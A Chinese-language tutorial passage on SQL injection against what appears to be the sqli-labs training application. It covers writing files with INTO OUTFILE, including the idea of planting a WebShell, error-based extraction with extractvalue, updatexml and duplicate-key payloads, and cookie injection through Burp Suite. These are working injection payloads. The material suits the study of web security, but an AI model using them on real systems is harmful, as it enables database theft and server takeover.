漏洞篇（SQL注入二）_mariadb 注入

into outfile 语句用于把表数据导出到一个文本文件中

用法：select * from Table into outfile '/路径/文件名'

        

例：

MariaDB [security]> select * from users into outfile "/var/lib/mysql/1.txt";

Query OK, 13 rows affected (0.00 sec)

        

打开另一个终端查看导入的文件：        

可以看到把以上查询 users 表中的内容保存到文件中，由此我们可以利用此方法通过 sql 注入向系统 中写入文件

         

拓展：这里因为 mysql 权限问题我们只能上传文件到 mysql 数据目录下，如果可以上传文件到网站 根目录下，我们就可以直接上传一个 WebShell 获得权限。

三、基于报错的 SQL 注入

1、extractvalue()

extractvalue（xml_document,xpath_string）

第一个参数是xml文档对象的名称

第二个参数作用是从xml文档对象中返回查询到的字符串值，返回结果长度限制在32位字符。

例：

http://192.168.1.101/sqli-labs-master/Less-5/?id=1' and extractvalue(null,concat(0x7,(sqli_inject),0x7e))--+

sqli_inject = select group_concat(table_name) from information_schema.tables where table_schema='security'

注：利用extractvalue（）对数据进行一个排序，指定第一个参数为null，可以换成1、#或者其他符号，使其报错，并执行第二个参数语句。0x7e表示”~“号。

注意：前面说过extractvalue（）最大返回长度为32，所以可以用limit N，1 一行一行的回显。

如：sqli_inject = select table_name from information_schema.tables where table_schema='security' limit 0,1

2、updetaxml（）

updatexml（xml_document,xpath_string,new_value）

第一个参数，xml文档名称

第二个参数，xpath格式字符串

第三个参数，替换查找到的符合条件的数据

        作用是，改变文档中符合条件的节点的值

payload:updatexml(1,concat(0x7e,(sqli_inject),0x7e),1)

3、主键重复

http://192.168.1.101/sqli-labs/Less-5/?id= 0' union select 1,2,3 from (select 
count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 
0,1),floor(rand(0)*2)) x from information_schema.tables group by x) root--+

四、使用 burpsuite 进行 SQL 注入

1、POST 方式注入

bp抓取

在 Cookie：uname=admin 使用' or '1'='1 判断注入点，注意这里少一个单引号，为了不影响

SQL 语句正常执行。

Cookie: uname=admin' or '1'='1

        

使用 updatexml 报错注入获取数据库名称

Cookie: uname=admin' and updatexml(1,concat(0x7e,database(),0x7e),1) or '1'='1

        

最终可以通过 Cookie 进行注入成功